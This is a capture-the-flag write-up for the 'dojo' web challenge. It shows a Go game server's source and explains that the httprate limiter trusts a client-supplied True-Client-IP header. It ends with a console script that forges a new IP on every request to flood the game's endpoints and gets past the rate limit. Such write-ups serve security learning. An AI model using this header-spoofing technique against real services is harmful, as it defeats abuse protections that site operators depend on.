The dojo stores many riches. Can you make it through the gauntlet?
dojo.challs.pwnoh.io
We're given a Go server looking like this:
package server
import (
"encoding/json"
"math/rand/v2"
"net/http"
"os"
"path/filepath"
"strings"
"time"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
"github.com/go-chi/httprate"
"github.com/go-chi/jwtauth/v5"
"github.com/gorilla/websocket"
)
var TokenAuth *jwtauth.JWTAuth
const MaxBossHealth = 1000
type GameState struct {
id int32
bossHealth int32
playerHealth int32
plundered int32
lastDodge time.Time
conn *websocket.Conn
}
func (gs *GameState) SyncJSON() {
if gs.conn != nil {
gs.conn.WriteJSON(map[string]interface{}{
"action": "sync",
"playerHealth": gs.playerHealth,
"bossHealth": gs.bossHealth,
})
}
if gs.bossHealth <= 0 {
if gs.conn != nil {
gs.conn.WriteJSON(map[string]string{"action": "win"})
if gs.plundered > 800 {
flag, exists := os.LookupEnv("FLAG")
if !exists {
flag = "bctf{fake_flag}"
}
gs.conn.WriteJSON(map[string]string{"flag": flag})
}
gs.conn.Close()
}
delete(gameStates, gs.id)
}
if gs.playerHealth <= 0 {
if gs.conn != nil {
gs.conn.WriteJSON(map[string]string{"action": "lose", "reason": "died"})
gs.conn.Close()
}
delete(gameStates, gs.id)
}
}
func (gs *GameState) PlayerAttack() (success bool, amount int32) {
if gs.lastDodge.Add(1 * time.Second).After(time.Now()) {
return false, 0
}
amt := int32(rand.IntN(12) + 2)
if gs.conn != nil {
gs.conn.WriteJSON(map[string]interface{}{"action": "player_attack", "amount": amt})
}
gs.bossHealth -= amt
gs.SyncJSON()
return true, amt
}
func (gs *GameState) PlayerDodge() {
gs.lastDodge = time.Now()
}
func (gs *GameState) PlayerPlunder() (bool, int32) {
if gs.lastDodge.Add(1 * time.Second).After(time.Now()) {
return false, 0
}
amount := int32(rand.IntN(12) + 2)
gs.plundered += amount
return true, amount
}
func (gs *GameState) BossAttack(amount int32) {
if gs.lastDodge.Add(1 * time.Second).After(time.Now()) {
if gs.conn != nil {
gs.conn.WriteJSON(map[string]interface{}{"action": "dodged", "amount": amount})
}
return
}
gs.playerHealth -= amount
if gs.conn != nil {
gs.conn.WriteJSON(map[string]interface{}{"action": "boss_attack", "amount": amount})
}
gs.SyncJSON()
}
func (gs *GameState) BossSignalAttack() {
if gs.conn != nil {
gs.conn.WriteJSON(map[string]interface{}{"action": "signal"})
}
}
func (gs *GameState) BossHeal(amount int32) {
gs.bossHealth = min(gs.bossHealth+amount, MaxBossHealth)
if gs.conn != nil {
gs.conn.WriteJSON(map[string]interface{}{"action": "heal", "amount": amount})
}
gs.SyncJSON()
}
func (gs *GameState) TimeoutLose() {
if gs.conn != nil {
gs.conn.WriteJSON(map[string]string{"action": "lose", "reason": "timed out"})
gs.conn.Close()
}
delete(gameStates, gs.id)
}
var gameStates = make(map[int32]*GameState)
var upgrader = websocket.Upgrader{
ReadBufferSize: 1024,
WriteBufferSize: 1024,
CheckOrigin: func(r *http.Request) bool { return os.Getenv("BF_PRODUCTION") != "true" },
}
func (s *Server) RegisterRoutes() http.Handler {
r := chi.NewRouter()
r.Use(middleware.Recoverer)
r.Get("/", s.FrontendHandler)
r.Get("/*", s.FrontendHandler)
r.Group(func(r chi.Router) {
r.Use(middleware.Logger)
r.Use(middleware.Timeout(time.Second * 60))
r.Use(httprate.LimitByRealIP(2, time.Second))
r.Get("/api/new", s.NewGameHandler)
r.Group(func(r chi.Router) {
r.Use(jwtauth.Verifier(TokenAuth))
r.Use(jwtauth.Authenticator(TokenAuth))
r.Get("/api/attack", s.AttackHandler)
r.Get("/api/dodge", s.DodgeHandler)
r.Get("/api/plunder", s.PlunderHandler)
r.Get("/api/ws", s.WebsocketHandler)
})
})
return r
}
func (s *Server) FrontendHandler(w http.ResponseWriter, r *http.Request) {
ext := filepath.Ext(r.URL.Path)
// If there is no file extension, and it does not end with a slash,
// assume it's an HTML file and append .html
if ext == "" && !strings.HasSuffix(r.URL.Path, "/") {
r.URL.Path += ".html"
}
http.FileServer(http.Dir("frontend/build")).ServeHTTP(w, r)
}
func (s *Server) AttackHandler(w http.ResponseWriter, r *http.Request) {
_, claims, _ := jwtauth.FromContext(r.Context())
game_id := int32(claims["game_id"].(float64))
gameState := gameStates[game_id]
if gameState == nil {
w.WriteHeader(http.StatusNotFound)
json.NewEncoder(w).Encode(map[string]interface{}{"status": "error", "message": "Game not found"})
return
}
success, amount := gameState.PlayerAttack()
if !success {
w.WriteHeader(http.StatusInternalServerError)
json.NewEncoder(w).Encode(map[string]interface{}{"status": "error", "message": "You can't attack right now"})
return
}
json.NewEncoder(w).Encode(map[string]interface{}{"status": "success", "amount": amount})
}
func (s *Server) DodgeHandler(w http.ResponseWriter, r *http.Request) {
_, claims, _ := jwtauth.FromContext(r.Context())
game_id := int32(claims["game_id"].(float64))
gameState := gameStates[game_id]
if gameState == nil {
w.WriteHeader(http.StatusNotFound)
json.NewEncoder(w).Encode(map[string]interface{}{"status": "error", "message": "Game not found"})
return
}
gameState.PlayerDodge()
json.NewEncoder(w).Encode(map[string]interface{}{"status": "success"})
}
func (s *Server) PlunderHandler(w http.ResponseWriter, r *http.Request) {
_, claims, _ := jwtauth.FromContext(r.Context())
game_id := int32(claims["game_id"].(float64))
gameState := gameStates[game_id]
if gameState == nil {
w.WriteHeader(http.StatusNotFound)
json.NewEncoder(w).Encode(map[string]interface{}{"status": "error", "message": "Game not found"})
return
}
success, amount := gameState.PlayerPlunder()
if !success {
w.WriteHeader(http.StatusInternalServerError)
json.NewEncoder(w).Encode(map[string]interface{}{"status": "error", "message": "You can't plunder right now"})
return
}
json.NewEncoder(w).Encode(map[string]interface{}{
"status": "success",
"amount": amount,
"total": gameState.plundered,
})
}
func (s *Server) NewGameHandler(w http.ResponseWriter, r *http.Request) {
gameId := rand.Int32()
_, tokenString, _ := TokenAuth.Encode(map[string]interface{}{"game_id": gameId})
gameStates[gameId] = &GameState{
id: gameId,
bossHealth: MaxBossHealth,
playerHealth: 100,
}
cookie := http.Cookie{
Name: "jwt",
Value: tokenString,
HttpOnly: false,
}
http.SetCookie(w, &cookie)
go gameRunner(gameId)
http.Redirect(w, r, "/play", http.StatusTemporaryRedirect)
}
func gameRunner(gameId int32) {
s2 := rand.NewPCG(uint64(gameId), 1024)
r2 := rand.New(s2)
go func() {
time.Sleep(60 * time.Second)
gameState := gameStates[gameId]
if gameState == nil {
return
}
gameState.TimeoutLose()
}()
time.Sleep(3 * 1000 * time.Millisecond)
for {
time.Sleep(1000 * time.Millisecond)
gameState := gameStates[gameId]
if gameState == nil {
return
}
v := r2.IntN(100)
if v < 20 {
if gameState.bossHealth < MaxBossHealth*0.8 {
healAmount := int32(r2.IntN(50) + 20)
gameState.BossHeal(healAmount)
} else {
damageAmount := int32(r2.IntN(30) + 5)
gameState.BossAttack(damageAmount)
}
} else if v < 35 {
gameState.BossSignalAttack()
time.Sleep(1000 * time.Millisecond)
damageAmount := int32(r2.IntN(50) + 10)
gameState.BossAttack(damageAmount)
} else if v < 50 {
damageAmount := int32(r2.IntN(30) + 5)
gameState.BossAttack(damageAmount)
} else if v < 65 {
gameState.BossSignalAttack()
}
}
}
func (s *Server) WebsocketHandler(w http.ResponseWriter, r *http.Request) {
_, claims, _ := jwtauth.FromContext(r.Context())
gameId := int32(claims["game_id"].(float64))
gameState := gameStates[gameId]
if gameState == nil {
w.WriteHeader(http.StatusNotFound)
json.NewEncoder(w).Encode(map[string]interface{}{"status": "error", "message": "Game not found"})
return
}
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
return
}
gameState.conn = conn
gameState.SyncJSON()
}
Our goal is to plunder 800 emeralds, all while defeating the boss and not getting killed in the process.
Looking at the underlying logic for attacking, dodging, and plundering,
func (gs *GameState) PlayerAttack() (success bool, amount int32) {
if gs.lastDodge.Add(1 * time.Second).After(time.Now()) {
return false, 0
}
amt := int32(rand.IntN(12) + 2)
if gs.conn != nil {
gs.conn.WriteJSON(map[string]interface{}{"action": "player_attack", "amount": amt})
}
gs.bossHealth -= amt
gs.SyncJSON()
return true, amt
}
func (gs *GameState) PlayerDodge() {
gs.lastDodge = time.Now()
}
func (gs *GameState) PlayerPlunder() (bool, int32) {
if gs.lastDodge.Add(1 * time.Second).After(time.Now()) {
return false, 0
}
amount := int32(rand.IntN(12) + 2)
gs.plundered += amount
return true, amount
}
it seems like attacking and plundering are only prevented after dodging, and don't block the spam of each other. Then, a preliminary idea can be to just spam plunder until we reach 800 emeralds, then spam attack until we kill the boss.
Unfortunately, referencing the route handler again,
r.Group(func(r chi.Router) {
r.Use(middleware.Logger)
r.Use(middleware.Timeout(time.Second * 60))
r.Use(httprate.LimitByRealIP(2, time.Second))
r.Get("/api/new", s.NewGameHandler)
it looks like our requests are ratelimited to 2 per second by httprate.LimitByRealIP
; naively spamming requests will return 429
s and we'll still get defeated by the boss.
However, going to the httprate
source code,
func LimitByRealIP(requestLimit int, windowLength time.Duration) func(next http.Handler) http.Handler {
return Limit(requestLimit, windowLength, WithKeyFuncs(KeyByRealIP))
}
func Key(key string) func(r *http.Request) (string, error) {
return func(r *http.Request) (string, error) {
return key, nil
}
}
func KeyByIP(r *http.Request) (string, error) {
ip, _, err := net.SplitHostPort(r.RemoteAddr)
if err != nil {
ip = r.RemoteAddr
}
return canonicalizeIP(ip), nil
}
func KeyByRealIP(r *http.Request) (string, error) {
var ip string
if tcip := r.Header.Get("True-Client-IP"); tcip != "" {
ip = tcip
} else if xrip := r.Header.Get("X-Real-IP"); xrip != "" {
ip = xrip
} else if xff := r.Header.Get("X-Forwarded-For"); xff != "" {
i := strings.Index(xff, ", ")
if i == -1 {
i = len(xff)
}
ip = xff[:i]
} else {
var err error
ip, _, err = net.SplitHostPort(r.RemoteAddr)
if err != nil {
ip = r.RemoteAddr
}
}
return canonicalizeIP(ip), nil
}
it looks like the way they check the client's real IP is through reading the True-Client-IP
header. If we forge this header, then, we should be able to bypass their rate limiting and get the flag.
Occasionally, forged fetches still fail for whatever reason. Still, assuming most fetches still go through, we can spam attacks and plunders with the following console script:
let i = 0;
while (true) {
try {
const { total } = await (await fetch('/api/plunder', {
headers: { 'True-Client-IP': `${i}.${i}.${i}.${i++}` }
})).json();
if (total > 800) break;
} catch {}
}
let health = 2000;
while (health >= 0) {
try {
const { amount } = await (await fetch('/api/attack', {
headers: { 'True-Client-IP': `${i}.${i}.${i}.${i++}` }
})).json();
health -= amount;
} catch {}
}
dojo.webm
Once we've won, all we need to do is check the websocket to get the flag:
bctf{D3FAul7_rA73_l1m17_fUnc710N5_aR3_5caRy}